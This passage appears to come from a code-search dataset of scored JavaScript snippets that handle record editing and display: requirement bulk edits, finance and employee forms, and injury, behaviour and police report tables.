Attributes and Traces will be Soft Deleted in the system, \" +\r\n\t\t\t\t\t\" so you can restore them later.<br><br>If you want to permanently delete the requirement, please \" +\r\n\t\t\t\t\t\" use the PURGE option.\";\r\n\t\t\tprompt += \"</span><br>\"\r\n\t\t\tprompt += \"\\n<span class='normalText'><input type='button' name='Yes, Delete' value='Yes, Delete' onClick=\" +\r\n\t\t\t\t\t\" 'bulkEditActionForm(\\\"deleteRequirements\\\",\" + folderId + \");'>\";\r\n\t\t\tprompt += \"\\n<input type='button' name='Cancel' value='Cancel' \";\r\n\t\t\tprompt += \"onClick= 'document.getElementById(\\\"bulkDeleteRequirementsPrompt\\\").innerHTML = \\\"\\\";'>\";\r\n\t\t\tprompt += \"\\n<br></span></div><br>\"\r\n\t\t\t// We set the prompt with the appropriate values.\r\n\t\t\tdocument.getElementById(\"bulkDeleteRequirementsPrompt\").innerHTML = prompt;\r\n\t\t\treturn(0);\r\n\t\t}\r\n\r\n\t\tif (setObject == 'deleteRequirements'){\r\n\t\t\t// lets empty the alert prompt.\r\n\t\t\tdocument.getElementById(\"bulkDeleteRequirementsPrompt\").innerHTML = \"\";\r\n\t\t\t\r\n\t\t\ttargetValue = \"delete\";\r\n\t\t\ttargetArtifact = 'deleteRequirements';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'purgeRequirementsPrompt'){\r\n\t\t\tvar prompt= \"<div class='alert alert-success'>\";\r\n\t\t\tprompt += \"<span class='headingText'>Are you sure you want to <font color='red'> Permanently </font> delete this requirement ?<br><br>\";\r\n\t\t\tprompt += \"Please note that this will permanently remove the Requirement, it's Attributes and Traces.\";\r\n\t\t\tprompt += \"</span><br>\"\r\n\t\t\tprompt += \"\\n<span class='normalText'><input type='button' name='Yes, Purge' value='Yes, Purge' onClick=\" +\r\n\t\t\t\t\t\" 'bulkEditActionForm(\\\"purgeRequirements\\\",\" + folderId + \");'>\";\r\n\t\t\tprompt += \"\\n<input type='button' name='Cancel' value='Cancel' \";\r\n\t\t\tprompt += \"onClick= 'document.getElementById(\\\"bulkPurgeRequirementsPrompt\\\").innerHTML = \\\"\\\";'>\";\r\n\t\t\tprompt += \"</span>\\n<br></div><br>\"\r\n\t\t\t// We set the prompt with the appropriate values.\r\n\t\t\tdocument.getElementById(\"bulkPurgeRequirementsPrompt\").innerHTML = prompt;\r\n\t\t\treturn(0);\r\n\t\t}\r\n\r\n\t\tif (setObject == 'purgeRequirements'){\r\n\t\t\t// lets empty the alert prompt.\r\n\t\t\tdocument.getElementById(\"bulkPurgeRequirementsPrompt\").innerHTML = \"\";\r\n\t\t\t\r\n\t\t\ttargetValue = \"purge\";\r\n\t\t\ttargetArtifact = 'purgeRequirements';\r\n\t\t}\r\n\t\t\t\t\r\n\t\tif (setObject == 'copyRequirements'){\r\n\t\t\t\r\n\t\t\tvar targetProjectObject = document.getElementById(\"targetProject\");\r\n\t\t\tvar targetProjectId = targetProjectObject[targetProjectObject.selectedIndex].value;\r\n\r\n\t\t\t\r\n\t\t\tvar copyFolderObject = document.getElementById(\"copyFolder\");\r\n\t\t\tvar copyFolderId= copyFolderObject[copyFolderObject.selectedIndex].value;\r\n\t\t\tif (copyFolderObject.selectedIndex == 0) {\r\n\t\t\t\talert (\"Please select a valid Target Folder\");\r\n\t\t\t\tcopyFolderObject.focus();\r\n\t\t\t\tcopyFolderObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tdocument.getElementById(\"copyRequirementInBulkEditPrompt\").style.display=\"none\";\r\n\t\t\t\r\n\t\t\tvar createTraceToSource= \"no\";\r\n\t\t\tvar createTraceToSourceObject = document.getElementById(\"createTraceToSource\");\r\n\t\t\tif (createTraceToSourceObject != null ){\r\n\t\t\t\tcreateTraceToSource= createTraceToSourceObject[createTraceToSourceObject.selectedIndex].value;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tvar copyCommonAttributesObject = document.getElementById(\"copyCommonAttributes\");\r\n\t\t\tvar copyCommonAttributes= copyCommonAttributesObject[copyCommonAttributesObject.selectedIndex].value;\r\n\r\n\t\t\tvar copyTraceabilityObject = document.getElementById(\"copyTraceability\");\r\n\t\t\tvar copyTraceability= copyTraceabilityObject[copyTraceabilityObject.selectedIndex].value;\r\n\r\n\t\t\tvar numOfCopies= 1;\r\n\t\t\tvar numOfCopiesObject = document.getElementById(\"numOfCopies\");\r\n\t\t\tif (numOfCopiesObject != null ){\r\n\t\t\t\tnumOfCopies= numOfCopiesObject.value;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// we will split targetValue in the action servlet to get targetproject, copy folder and copy attribs and copy traceability options.\r\n\t\t\ttargetValue = targetProjectId + \"#\" + copyFolderId + \"#\" + createTraceToSource + \"#\"\r\n\t\t\t+ copyCommonAttributes + \"#\" + copyTraceability + \"#\" + numOfCopies ;\r\n\t\t\ttargetArtifact = 'copyRequirements';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'lockRequirements'){\r\n\t\t\ttargetValue = \"lockRequirements\";\r\n\t\t\ttargetArtifact = 'lockRequirements';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'unlockRequirements'){\r\n\t\t\ttargetValue = \"unlockRequirements\";\r\n\t\t\ttargetArtifact = 'unlockRequirements';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'reGlossarize'){\r\n\t\t\ttargetValue = \"reGlossarize\";\r\n\t\t\ttargetArtifact = 'reGlossarize';\r\n\t\t}\r\n\t\t\r\n\t\t// lets get the custom attributes.\r\n\r\n\t\tvar pos= setObject.indexOf(\":##:\")\r\n\t\tif (pos>=0){\r\n\t\t\t// means this is a custom attrib, and we need to handle it.\r\n\t\t\tcustom = setObject.split(':##:');\r\n\t\t\tvar customType = custom[0];\r\n\t\t\tvar attributeId = custom[1];\r\n\t\t\tvar customObject = document.getElementById('set' + attributeId);\r\n\t\t\t\r\n\t\t\t//if the object is of type drop down, we have to do some special work\r\n\t\t\tvar type = customType.indexOf(\"DropDownSingle\");\r\n\t\t\tif (type >=0){\r\n\t\t\t\t// is a Drop Down type.\r\n\t\t\t\t// if its a drop down field and required, lets make sure it's not empty.\r\n\t\t\t\tif (customType.indexOf(\"Required\") >= 0) {\r\n\t\t\t\t\t// means its a required field.\r\n\t\t\t\t\tif (customObject[customObject.selectedIndex].value == \"\") {\r\n\t\t\t\t\t\talert ( \" This is a Required attribute. Please enter a value\");\r\n\t\t\t\t\t\tcustomObject.focus();\r\n\t\t\t\t\t\tcustomObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\t\t\treturn(0);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\ttargetValue = customObject[customObject.selectedIndex].value;\r\n\t\t\t\ttargetArtifact = 'customAttribute:##:' + attributeId; \r\n\r\n\t\t\t}\r\n\t\t\t//if the object is of type drop down Multiple, we have to do some special work\r\n\t\t\tvar type = customType.indexOf(\"DropDownMultiple\");\r\n\t\t\tif (type >=0){\r\n\t\t\t\t// is a Drop Down Multiple type.\r\n\t\t\t\t// if its a drop down field and required, lets make sure it's not empty.\r\n\t\t\t\t\r\n\t\t\t\t// first lets calculate the targetValue\r\n\t\t\t\tvar targetValue = \"\";\r\n\t\t\t\tfor (var i = 0; i < customObject.options.length; i++) {\r\n\t\t\t\t\tif (customObject.options[i].selected) {\r\n\t\t\t\t\t\ttargetValue += customObject.options[i].value + ','; \r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif (customType.indexOf(\"Required\") >= 0) {\r\n\t\t\t\t\t// means its a required field.\r\n\t\t\t\t\tif (targetValue == \"\") {\r\n\t\t\t\t\t\talert ( \" This is a Required attribute. Please enter a value\");\r\n\t\t\t\t\t\tcustomObject.focus();\r\n\t\t\t\t\t\tcustomObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\t\t\treturn(0);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\ttargetArtifact = 'customAttribute:##:' + attributeId; \r\n\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// if the object is addValueToCustomDropDownMultiple\r\n\t\t\tvar type = customType.indexOf(\"addValueToCustomDDM\");\r\n\t\t\tif (type >=0){\r\n\t\t\t\t// is a Drop Down Multiple type, where we are trying add a value to DDM attribute \r\n\t\t\t\t\r\n\t\t\t\t// first lets calculate the targetValue\r\n\t\t\t\tcustomObject = document.getElementById('addValue' + attributeId);\r\n\t\t\t\tvar targetValue = customObject[customObject.selectedIndex].value;\r\n\t\t\t\ttargetArtifact = 'addValuetoCustomDDM:##:' + attributeId; \r\n\t\t\t}\r\n\r\n\t\t\t// if the object is removeValueFromCustomDropDownMultiple\r\n\t\t\tvar type = customType.indexOf(\"removeValueFromCustomDDM\");\r\n\t\t\tif (type >=0){\r\n\t\t\t\t// is a Drop Down Multiple type, where we are trying add a value to DDM attribute \r\n\t\t\t\t\r\n\t\t\t\t// first lets calculate the targetValue\r\n\t\t\t\tcustomObject = document.getElementById('removeValue' + attributeId);\r\n\t\t\t\tvar targetValue = customObject[customObject.selectedIndex].value;\r\n\t\t\t\ttargetArtifact = 'removeValueFromCustomDDM:##:' + attributeId; \r\n\t\t\t}\r\n\r\n\r\n\t\t\t\r\n\t\t\ttype = customType.indexOf(\"Date\");\r\n\t\t\tif (type >= 0 ){\r\n\t\t\t\t// is a Date type.\r\n\t\t\t\ttargetValue = document.getElementById('set' + attributeId).value;\r\n\t\t\t\t// lets see if the targetValue has the correct date format.\r\n\t\t\t\tif (isValidDate(targetValue)==false){\r\n\t\t\t\t\tcustomObject.focus();\r\n\t\t\t\t\tcustomObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\t\treturn (0);\r\n\t\t\t\t}\r\n\r\n\t\t\t\ttargetArtifact = 'customAttribute:##:' + attributeId; \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\ttype = customType.indexOf(\"Number\");\r\n\t\t\tif (type >= 0 ){\r\n\t\t\t\t// is a Date type.\r\n\t\t\t\ttargetValue = document.getElementById('set' + attributeId).value;\r\n\t\t\t\t// lets see if the targetValue has the correct date format.\r\n\t\t\t\tif (isNaN(targetValue)){\r\n\t\t\t\t\talert(\"Please enter a valid number\");\r\n\t\t\t\t\tcustomObject.focus();\r\n\t\t\t\t\tcustomObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\t\treturn (0);\r\n\t\t\t\t}\r\n\r\n\t\t\t\ttargetArtifact = 'customAttribute:##:' + attributeId; \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\ttype = customType.indexOf(\"setCustomText\");\r\n\t\t\tif (type >= 0 ){\r\n\t\t\t\t// is a text type.\r\n\t\t\t\t// if its a text field and required, lets make sure it's not empty.\r\n\t\t\t\tif (customType.indexOf(\"Required\") >= 0) {\r\n\t\t\t\t\t// means its a required field.\r\n\t\t\t\t\tif ((customObject.value == null) || (customObject.value.length == 0)) {\r\n\t\t\t\t\t\talert ( \" This is a Required attribute. Please enter a value\");\r\n\t\t\t\t\t\tcustomObject.focus();\r\n\t\t\t\t\t\tcustomObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\t\t\treturn(0);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\ttargetValue = document.getElementById('set' + attributeId).value;\r\n\t\t\t\ttargetArtifact = 'customAttributeSetText:##:' + attributeId; \r\n\t\t\t}\r\n\t\t\t\r\n\t\t\ttype = customType.indexOf(\"appendCustomText\");\r\n\t\t\tif (type >= 0 ){\r\n\t\t\t\t// is a text type.\r\n\t\t\t\t// first lets calculate the targetValue\r\n\t\t\t\tcustomObject = document.getElementById('append' + attributeId);\r\n\t\t\t\tvar targetValue = customObject.value;\r\n\t\t\t\ttargetArtifact = 'customAttributeAppendText:##:' + attributeId; \r\n\t\t\t\t\r\n\t\t\t}\r\n\r\n\t\t\t\r\n\t\t\ttype = customType.indexOf(\"replaceCustomText\");\r\n\t\t\tif (type >= 0 ){\r\n\t\t\t\t// is a text type.\r\n\t\t\t\tvar replaceString = document.getElementById('replace' + attributeId).value;\r\n\t\t\t\tvar replaceWithString = document.getElementById('replaceWith' + attributeId).value;\r\n\t\t\t\t\r\n\t\t\t\tvar targetValue = replaceString + \":##:\" + replaceWithString;\r\n\t\t\t\ttargetArtifact = 'customAttributeReplaceText:##:' + attributeId; \r\n\t\t\t\t \r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// lets handle the Traceability section.\r\n\t\tif (setObject == 'setTraceTo'){\r\n\t\t\ttargetValue = document.getElementById(\"setTraceTo\").value;\r\n\t\t\ttargetArtifact = 'traceTo';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'setTraceFrom'){\r\n\t\t\ttargetValue = document.getElementById(\"setTraceFrom\").value;\r\n\t\t\ttargetArtifact = 'traceFrom';\r\n\t\t}\r\n\t\tif (setObject == 'clearSuspectTraceTo'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'clearSuspectTraceTo';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'clearSuspectTraceFrom'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'clearSuspectTraceFrom';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'deleteAllTraceTo'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'deleteAllTraceTo';\r\n\t\t}\r\n\r\n\t\tif (setObject == 'deleteAllTraceFrom'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'deleteAllTraceFrom';\r\n\t\t}\r\n\t\t\r\n\t\tif (setObject == 'refreshApproverList'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'refreshApproverList';\r\n\t\t}\r\n\r\n\t\tif (setObject == 'remindApprovers'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'remindApprovers';\r\n\t\t}\r\n\r\n\t\t\r\n\t\tif (setObject == 'submitRequirementForApproval'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'submitRequirementForApproval';\r\n\t\t}\r\n\r\n\t\tif (setObject == 'approveRequirement'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'approveRequirement';\r\n\t\t}\r\n\r\n\r\n\t\t\r\n\t\t\r\n\t\tif (setObject.indexOf(\"rejectRequirement\") >= 0 ){\r\n\t\t\t// setObject has rejectRequirement:##:approvalNote\r\n\t\t\t// lets get the approvalNote and store it in the targetValue.\r\n\t\t\tvar rejection = setObject.split(\":##:\");\r\n\t\t\ttargetValue = rejection[1]; \r\n\t\t\ttargetArtifact = \"rejectRequirement\";\r\n\t\t}\r\n\t\r\n\t\tif (setObject.indexOf(\"setDynamicApprover\") >= 0 ){\r\n\t\t\tvar dynamicApprovalRankObject = document.getElementById(\"dynamicApprovalRank\");\r\n\t\t\tif (\r\n\t\t\t\t\t(isNaN(dynamicApprovalRankObject.value)) ||\r\n\t\t\t\t\t(dynamicApprovalRankObject.value == 0)\t\t\r\n\t\t\t\r\n\t\t\t){\r\n\t\t\t\talert (\"Please enter a valid number (>0) for Dynamic Approval Rank\");\r\n\t\t\t\tdynamicApprovalRankObject.style.backgroundColor=\"#FFCC99\";\r\n\t\t\t\tdynamicApprovalRankObject.focus();\r\n\t\t\t\treturn(0);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tvar dynamicApprovalRoleObject = document.getElementById(\"setDynamicApprovalRole\");\r\n\t\t\t\r\n\t\t\tvar dynamicApprovalRole = dynamicApprovalRoleObject[dynamicApprovalRoleObject.selectedIndex].value;\r\n\t\t\t\r\n\t\t\ttargetValue = dynamicApprovalRole + \":#:\" + dynamicApprovalRankObject.value;\r\n\t\t\ttargetArtifact = \"setDynamicApprover\";\r\n\t\t}\r\n\t\tif (setObject.indexOf(\"removeDynamicApprover\") >= 0 ){\r\n\t\t\tvar dynamicApprovalRoleObject = document.getElementById(\"removeDynamicApprovalRole\");\r\n\t\t\t\r\n\t\t\tvar dynamicApprovalRole = dynamicApprovalRoleObject[dynamicApprovalRoleObject.selectedIndex].value;\r\n\t\t\t\r\n\t\t\ttargetValue = dynamicApprovalRole;\r\n\t\t\ttargetArtifact = \"removeDynamicApprover\";\r\n\t\t}\r\n\t\t\r\n\t\t// lets empty the prompt div box\r\n\t\tdocument.getElementById(\"bulkEditActionResponse\").innerHTML = \"\";\r\n\t\t\r\n\t\t\r\n\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t// lets build the url here.\r\n\t\tvar url = \"/GloreeJava2/servlet/ReportAction\";\r\n\t\t\r\n\t\tvar params = \"action=bulkEdit&folderId=\" +folderId;\r\n\t\tparams += \"&targetArtifact=\" + encodeURIComponent(targetArtifact);\r\n\t\tparams += \"&targetValue=\" + encodeURIComponent(targetValue);\r\n\t\tparams += \"&targetRequirements=\" + encodeURIComponent(targetRequirements);\r\n\r\n\t\t// since the number of selected reqs can be large and get has a limit\r\n\t\t// we will use post.\r\n\t\t\r\n\t\txmlHttpOPCenterB =GetXmlHttpObject();\r\n\t\txmlHttpOPCenterB.open(\"POST\", url, true);\r\n\r\n\t\t// Send the proper header information along with the request\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Content-length\", params.length);\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Connection\", \"close\");\r\n\r\n\t\t// ContentCenter F is the target.\r\n\t\t// F will hold the actual data. So lets put the working gif in it\r\n\t\tdocument.getElementById(\"contentCenterF\").innerHTML= \"&nbsp;&nbsp;&nbsp;Working...\";\r\n\t\t\t\r\n\t\txmlHttpOPCenterB.onreadystatechange=function() {\r\n\t\t\tif(xmlHttpOPCenterB.readyState==4){\r\n\t\t\t\tdocument.getElementById(\"bulkEditActionResponse\").style.display = 'block';\r\n\t\t\t\tdocument.getElementById(\"bulkEditActionResponse\").innerHTML=xmlHttpOPCenterB.responseText;\r\n\t\t\t\t// once the bulk updates are done, we can simulate\r\n\t\t\t\t// the runReport method call\", so that the users see the\r\n\t\t\t\t// refreshed data.\r\n\t\t\t\t\r\n\t\t\t\tif (traceTree == null ){\r\n\t\t\t\t\treportAction(folderId,'runReport','list',targetRequirements);\r\n\t\t\t\t}\r\n\t\t\t\tif (traceTree == \"traceTree\"){\r\n\t\t\t\t\treportAction(traceTreeRootFolderId,'runReport','traceTree', targetRequirements);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\txmlHttpOPCenterB.send(params);\r\n\t\treturn(1);\r\n\t}", "title": "" }, { "docid": "f2a3a17013819a297391a2db412c3c60", "score": "0.5779871", "text": "function editFinanceRecord(finance_record_id){\n window.location = './editFinanceRecord.html?finance_record_id='+finance_record_id;\n}", "title": "" }, { "docid": "3cb88146480f3a522f12276308e2c6da", "score": "0.57498807", "text": "printRecord() {\n this.edit(this.form.id, true);\n }", "title": "" }, { "docid": "6bd8d8dcada03726541c0914c0a84755", "score": "0.5744123", "text": "function editDisplay() {\n var x = document.getElementById(\"appt-edit\");\n if (x.style.display === \"none\") {\n x.style.display = \"\";\n } else {\n x.style.display = \"none\";\n }\n var x = document.getElementById(\"save-details\");\n if (x.style.display === \"none\") {\n x.style.display = \"\";\n } else {\n x.style.display = \"none\";\n }\n var x = document.getElementById(\"appt-details\");\n if (x.style.display === \"none\") {\n x.style.display = \"\";\n } else {\n x.style.display = \"none\";\n }\n var x = document.getElementById(\"detail-saving\");\n if (x.style.display === \"none\") {\n x.style.display = \"\";\n } else {\n x.style.display = \"none\";\n }\n var x = document.getElementById(\"editAppDetails-Patient\");\n if (x.style.display === \"none\") {\n x.style.display = \"\";\n } else {\n x.style.display = \"none\";\n }\n var x = document.forms[\"update-details\"][\"edit_patient_insurance\"].value;\n if (x == \"\") {\n $(insure).hide();\n }else\n $(insure).show();\n }", "title": "" }, { "docid": "487cbe25025c3a3a30ca1c4179f9217f", "score": "0.5714045", "text": "updateModal(_el) {\n let _data = _el.parents('#report-info-name');\n let report_name = _data.children('#rpt-name').text().trim();\n let version = _data.children('#rpt-version').text().split('v.')[1];\n let report = this.display.reportFind(report_name, version);\n let _obj = $('#modal-container');\n let params = report._params.split(\"|\");\n let formats = report._formats;\n\n if (_obj.hasClass('hide-modal')) {\n _obj.removeClass('hide-modal');\n } else {\n _obj.addClass('hide-modal');\n }\n\n $.each(report, (i,v) => {\n if(v == \"N/A\") report[i] = \"\";\n });\n\n $('#create-rpt-submit').hide();\n $('#update-rpt-submit').show();\n $('#new-name').prop('disabled', true);\n $('#new-version').prop('disabled', true);\n $('#new-name').val(report._name);\n $('#new-version').val(report._version);\n $('#new-category').val(report._category);\n $('#new-reqdate').val(report._requestDate);\n $('#new-requester').val(report._requester);\n $('#new-pubdate').val(report._publishDate);\n $('#new-fields').val(report._field);\n $('#new-filters').val(report._filter);\n $('#new-desc').val(report._description);\n $('#new-link').val(report._link);\n\n $.each(params, (i,v) => {\n let tmpParam = v.split(\":\");\n $('.param-input.name-' + (i+1)).val(tmpParam[0]).show();\n $('.param-desc-input.desc-' + (i+1)).val(tmpParam[1]).show();\n });\n\n $.each(formats, (i,v) => {\n $('.export-choice.' + v.toLowerCase()).addClass('selected-choice');\n });\n }", "title": "" }, { "docid": "0fd7e9c4f9ed64ecb6f9553b9749be2f", "score": "0.5712155", "text": "async function showReports(){\n let studentId = $('#students').val();\n let startDate = $('#startDate').val();\n let endDate = $('#endDate').val(); \n\n let url = `/api/reports/${startDate}/${endDate}/${studentId}`;\n let response = await fetch(url,\n {\n method: 'GET',\n headers: {'Content-Type': 'application/json'}\n });\n let data = await response.json();\n\n // add injury reports to the page\n data.injuryReports.forEach(function(ir){\n let row = $(\"<tr></tr>\");\n $(row).append(`<td>${ir.studentName}</td>`);\n $(row).append(`<td>${ir.staffName}</td>`);\n $(row).append(`<td>${ir.date}</td>`);\n $(row).append(`<td>${ir.time}</td>`);\n $(row).append(`<td>${ir.location}</td>`);\n $(row).append(`<td>${ir.bodyPart}</td>`);\n $(row).append(`<td>${ir.how}</td>`);\n $(row).append(`<button val='${ir.incidentId}'>Edit</button>`);\n \n $(\"#injuryReportTable\").append(row);\n });\n\n // add behavior reports to the page\n data.behaviorReports.forEach(function(br){\n let row = $(\"<tr></tr>\");\n $(row).append(`<td>${br.studentName}</td>`);\n $(row).append(`<td>${br.staffName}</td>`); \n $(row).append(`<td>${br.date}</td>`); \n $(row).append(`<td>${br.time}</td>`);\n $(row).append(`<td>${br.location}</td>`);\n $(row).append(`<td>${br.riskBehavior}</td>`);\n $(row).append(`<td>${br.behavior}</td>`);\n $(row).append(`<td>${br.triggers}</td>`);\n $(row).append(`<td>${br.supports}</td>`);\n $(row).append(`<td>${br.recovery}</td>`);\n $(row).append(`<td>${br.supportPlan}</td>`);\n $(row).append(`<button val='${br.incidentId}'>Edit</button>`);\n \n $(\"#behaviorReportTable\").append(row);\n });\n\n }", "title": "" }, { "docid": "fcfdfb1c01f4599b445fcdc9d9d36af5", "score": "0.57106745", "text": "function employeeEdit() \n{\n // CSS button magic.\n document.getElementById(\"editButton\").disabled = true; \n document.getElementById(\"editButton\").style.visibility = \"hidden\"; \n document.getElementById(\"submitButton\").style.visibility = \"visible\"; \n document.getElementById(\"submitButton\").innerHTML = '<input type=\"submit\" value=\"SUBMIT\">'; \n\n// This will wrap the employee details in editable input fields.\n document.getElementById(\"fullName\").innerHTML = '<input name=\"fullName\" value=\"' + jObj[0][\"fullName\"] + '\">' + '</input>';\n document.getElementById(\"species\").innerHTML = '<input name=\"species\" value=\"' + jObj[0][\"species\"] + '\">' + '</input>';\n document.getElementById(\"age\").innerHTML = '<input name=\"age\" value=\"' + jObj[0][\"age\"] + '\">' + '</input>';\n document.getElementById(\"gender\").innerHTML = '<input name=\"gender\" value=\"' + jObj[0][\"gender\"] + '\">' + '</input>';\n document.getElementById(\"occupation\").innerHTML = '<input name=\"occupation\" value=\"' + jObj[0][\"occupation\"] + '\">' + '</input>';\n document.getElementById(\"ethnicity\").innerHTML = '<input name=\"ethnicity\" value=\"' + jObj[0][\"ethnicity\"] + '\">' + '</input>';\n document.getElementById(\"hair\").innerHTML = '<input name=\"hair\" value=\"' + jObj[0][\"hair\"] + '\">' + '</input>';\n document.getElementById(\"eyes\").innerHTML = '<input name=\"eyes\" value=\"' + jObj[0][\"eyes\"] + '\">' + '</input>';\n}", "title": "" }, { "docid": "c9165886ead95e070a17993e351ba76d", "score": "0.56878585", "text": "function showReports(_reports) {\n\n if (_reports !== null && _reports !== \"\" && typeof _reports !== 'undefined') { //this is entered from a fresh call\n\n window.reports = _reports;\n\n var arrayLength = _reports.length;\n\n $(\"#reportBody\").empty();\n\n for (i = 0; arrayLength; i++) {\n\n if (typeof _reports[i] !== \"undefined\") {\n\n var name;\n\n if (typeof _reports[i].suspects_name == \"undefined\") {\n name = \"Unknown\";\n } else {\n name = _reports[i].suspects_name;\n }\n\n var reportBlock;\n\n if (_reports[i].officer == officerName) {\n reportBlock = '<tr><th scope=\"row\" id=\"reportOfficer\">' + _reports[i].officer + '</th> \\\n <th id =\"reportSuspect\" >'+ name + '</th><td id=\"report\">' + _reports[i].report + '</td> \\\n <td id=\"reportDate\">'+ _reports[i].date + '</td><th id=\"editReport\">\\\n <button type=\"submit\" class=\"btn btn-primary btn-sm\" onclick=\"editReport(\\'' + _reports[i].officer + '\\',\\'' + _reports[i].report.replace(/'/g, \"\\\\'\") + '\\',\\'' + _reports[i].date + '\\')\"><span>Edit Report.</span></button></th> \\\n <th id=\"deleteReport\"><button type=\"submit\" class=\"btn btn-primary btn-sm\" onclick=\"deleteReport(\\'' + _reports[i].officer + '\\',\\'' + _reports[i].report.replace(/'/g, \"\\\\'\") + '\\',\\'' + _reports[i].date + '\\')\"><span>Delete Report.</span>\\\n </button></th></tr>'\n } else {\n reportBlock = '<tr><th scope=\"row\" id=\"reportOfficer\">' + _reports[i].officer + '</th> \\\n <th id =\"reportSuspect\" >'+ name + '</th><td id=\"report\">' + _reports[i].report + '</td> \\\n <td id=\"reportDate\">'+ _reports[i].date + '</td><th></th><th></th></tr>'\n }\n\n $('#reportBody').append(reportBlock)\n\n } else {\n break;\n }\n }\n\n } else if (typeof this.reports !== \"undefined\") { //this is entered if not a fresh call and pulled from array. \n\n if (typeof this.reports[0] !== \"undefined\") {\n\n var arrayLength = this.reports.length\n\n $(\"#incidentBody\").empty();\n\n for (i = 0; arrayLength; i++) {\n\n if (typeof this.reports[i] !== \"undefined\") {\n\n var name;\n\n if (typeof reports[i].suspects_name == \"undefined\") {\n name = \"Unknown\";\n } else {\n name = reports[i].suspects_name;\n }\n\n var reportBlock;\n\n if (this.reports[i].officer == officerName) {\n\n reportBlock = '<tr><th scope=\"row\" id=\"reportOfficer\">' + this.reports[i].officer + '</th> \\\n <th id =\"reportSuspect\" >'+ name + '</th><td id=\"report\">' + this.reports[i].report + '</td> \\\n <td id=\"reportDate\">'+ this.reports[i].date + '</td><th id=\"editReport\">\\\n <button type=\"submit\" class=\"btn btn-primary btn-sm\" onclick=\"editReport(\\'' + this.reports[i].officer + '\\',\\'' + this.reports[i].report.replace(/'/g, \"\\\\'\") + '\\',\\'' + this.reports[i].date + '\\')\"><span>Edit Report.</span></button></th> \\\n <th id=\"deleteReport\"><button type=\"submit\" class=\"btn btn-primary btn-sm\" onclick=\"deleteReport(\\'' + this.reports[i].officer + '\\',\\'' + this.reports[i].report.replace(/'/g, \"\\\\'\") + '\\',\\'' + this.reports[i].date + '\\')\"><span>Delete Report.</span>\\\n </button></th></tr>'\n } else {\n reportBlock = '<tr><th scope=\"row\" id=\"reportOfficer\">' + this.reports[i].officer + '</th> \\\n <th id =\"reportSuspect\" >'+ name + '</th><td id=\"report\">' + this.reports[i].report + '</td> \\\n <td id=\"reportDate\">'+ this.reports[i].date + '</td><th></th><th></th></tr>'\n }\n\n $('#reportTable').append(reportBlock)\n } else {\n break;\n }\n }\n } else {\n $(\".noReportsNormal\").css(\"display\", \"block\");\n }\n } else {\n $(\".noReportsNormal\").css(\"display\", \"block\");\n }\n // this.console.log(event.data.info[1].report)\n}", "title": "" }, { "docid": "88d5d077891aa7c0ebb63870ed61cb73", "score": "0.5681412", "text": "function EditScreen() {\n $(\"#btnConfirm\").hide();\n $(\"#btnCancel\").hide();\n\n $(\"#btnUpdate\").show();\n $(\"#pnlPage\").show();\n $(\"#btnLoadCards\").show();\n\n $('#ddlIssuer').puidropdown('enable');\n $('#ddlBranch').puidropdown('enable');\n $('#ddlProduct').puidropdown('enable');\n $('#ddlOperator').puidropdown('enable');\n $('input[type=\"text\"]').puiinputtext('enable');\n\n $('#cardCheckInOut').puipicklist('enable');\n $('#lblInfoMessage').html(\"\");\n\n var $hasChanges = undefined;\n $hasChanges = $('#hdnHasChanges'); \n $hasChanges.val(true);\n\n return false;\n}", "title": "" }, { "docid": "547798df6de5725c50c0a281f0d55ce0", "score": "0.5626894", "text": "function displayEditJourneyForm(data) {\n console.log(\"displayEditJourneyForm function ran\");\n $('.dashboard').hide();\n\n $('.edit-journey').append(\n `<h2>Editing ${data.title}</h2>\n <form class=\"edit-form\">\n <fieldset >\n <legend>Edit Journey</legend>\n <input type='text' id='edit-journey-id' name='journey-id' value =\"${data._id}\" class=\"hide\" >\n <label for='edit-title'>Title:</label>\n <input type='text' id='edit-title' name='title' value =\"${data.title}\" >\n <label for='edit-location'>Location:</label>\n <input type='text' 